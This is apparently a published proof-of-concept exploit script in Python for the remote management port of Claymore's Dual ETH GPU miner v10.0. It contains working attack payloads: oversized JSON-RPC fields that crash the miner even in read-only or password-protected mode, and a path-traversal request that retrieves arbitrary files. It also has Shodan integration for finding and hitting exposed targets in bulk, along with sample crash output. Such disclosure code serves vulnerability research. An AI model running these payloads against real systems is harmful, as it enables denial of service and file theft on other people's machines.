1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 |
#!/usr/bin/env python # -*- coding: UTF-8 -*- # github.com/tintinweb # # # optional: pip install pysocks (https://pypi.python.org/pypi/PySocks) # # ''' API overview: # >nc -L -p 3333 {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]} {"id":0,"jsonrpc":"2.0","method":"miner_restart"} {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]} Exec: #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333 ╔════════════════════════════════════════════════════════════════╗ ║ Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0║ ╚════════════════════════════════════════════════════════════════╝ ... Total cards: 1 ETH - connecting to 192.168.0.1:8545 DUAL MINING MODE ENABLED: ETHEREUM+DECRED DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555 ETH: HTTP SOLO mode Ethereum HTTP requests time (-etht) is set to 200 ms Watchdog enabled Remote management (READ-ONLY MODE) is enabled on port 3333 DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555) DCR: Authorized DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555 ... <run poc.py --vector=method <target>> GPU0 t=57C fan=0% Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa .... <crash> PoC: #> poc.py 127.0.0.1:3333 [poc.py - <module>() ][INFO] --start-- [poc.py - <module>() ][INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite [poc.py - <module>() ][INFO] # github.com/tintinweb [poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled. [poc.py - <module>() ][INFO] [i] Target: 127.0.0.1:3333 [poc.py - <module>() ][INFO] [+] connected. [poc.py - <module>() ][INFO] [+] peer disappeared. vulnerable! [poc.py - <module>() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen') [poc.py - <module>() ][INFO] --done-- ''' import logging import json import time import argparse import socket try: import socks except ImportError: print "!! cannot import socks. no socks support!" socks = None try: import shodan except ImportError: print "!! cannot import shodan. no shodan support!" shodan = None LOGGER = logging.getLogger(__name__) class MinerRpc(object): """ Generic MinerRpc class with socks support """ def __init__(self): self.sock = None def connect(self, host, port, proxy=None, timeout=15): if socks: self.sock = socks.socksocket() else: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(timeout) if proxy: if not socks: raise Exception("socks support disabled due to unmet dependency. please install pysocks") self.sock.set_proxy(*proxy) return self.sock.connect((host, port)) def sendRcv(self, msg, chunksize=4096): self.sock.sendall(msg) chunks = [] chunk = None #time.sleep(2) while chunk is None or len(chunk)==chunksize: chunk = self.sock.recv(chunksize) chunks.append(chunk) return "".join(chunks) def sendRcvTimed(self, msg, chunksize=1): self.sock.sendall(msg) start = time.time() resp = self.sock.recv(chunksize) diff = time.time()-start return diff, resp class Utils: """ Utility namespace """ @staticmethod def iter_targets(targets, shodan_apikey): shodan_api = None if not shodan: LOGGER.warning( "[i] starting without shodan support. please pip install shodan to use shodan search strings.") else: if not shodan_apikey: LOGGER.warning("shodan apikey missing! shodan support disabled.") else: shodan_api = shodan.Shodan(shodan_apikey) for target in targets: if target.startswith("shodan://"): target = target.replace("shodan://", "") if shodan_api: for t in shodan_api.search(target)['matches']: yield t['ip_str'], t['port'] else: host,port = target.strip().split(":") yield host,int(port) VECTORS = { # Vector: extrafield # Description: overly long value for field. overly long overall msg # Result: crashes always, even though # * password required # * readonly mode (-<port>) "extrafield" : {"id": 1, "jsonrpc": "2.0", "lol": "a" * 145000,##<<-- "method": "miner_getstat1 ", }, # Vector: psw (basically same as extrafield) # Description: overly long value for psw. overly long overall msg # Result: crashes always, even though # * password required # * readonly mode (-<port>) "psw" : { "id": 1, "psw":"d"*145000,##<<-- "jsonrpc": "2.0", "method": "miner_getstat1", }, # Vector: method # Description: overly long value for field. overly long overall msg # Result: crashes always, even though # * readonly mode (-<port>) "method" : {"id": 1, "jsonrpc": "2.0", "method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), },##<<-- # Vector: traversal # Description: path traversal # Result: retrieves any file "traversal": {"id":0, "jsonrpc":"2.0", "method":"miner_getfile", "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path } if __name__ == "__main__": logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s', loglevel=logging.DEBUG) LOGGER.setLevel(logging.DEBUG) usage = """poc.py [options] example: poc.py [options] <target> [<target>, ...] options: apikey ... optional shodan apikey vector ... method ... overflow in method, requires password if set [readonly] extrafield... overflow in non-standard field [readonly, passwd mode] psw ... overflow in password traversal ... relative path traversal [authenticated] target ... IP, FQDN or shodan://<search string> #> poc.py 1.1.1.1 #> poc.py 1.2.3.4 "shodan://product:eth+result" """ parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-a", "--apikey", dest="apikey", default=None, help="shodan.io apikey, NotSet=disabled [default: None]") parser.add_argument("-m", "--vector", dest="vector", default="method", help="vulnerablevectors [default: method]") parser.add_argument("targets", nargs="+") options = parser.parse_args() LOGGER.info("--start--") LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite") LOGGER.info("# github.com/tintinweb") m = MinerRpc() for ip, port in Utils.iter_targets(options.targets, options.apikey): LOGGER.info("[i] Target: %s:%s"%(ip, port)) try: m.connect(ip, port, timeout=20) LOGGER.info("[+] connected.") resp = m.sendRcv(json.dumps(VECTORS[options.vector]))# crash with readonly mode LOGGER.debug("<-- %d %r"%(len(resp), resp)) if not len(resp): LOGGER.info("[+] did not receive a response. probably vulnerable.") except socket.error, e: if e[0]==10054: LOGGER.info("[+] peer disappeared. vulnerable!") LOGGER.warning(repr(e)) LOGGER.info("--done--") |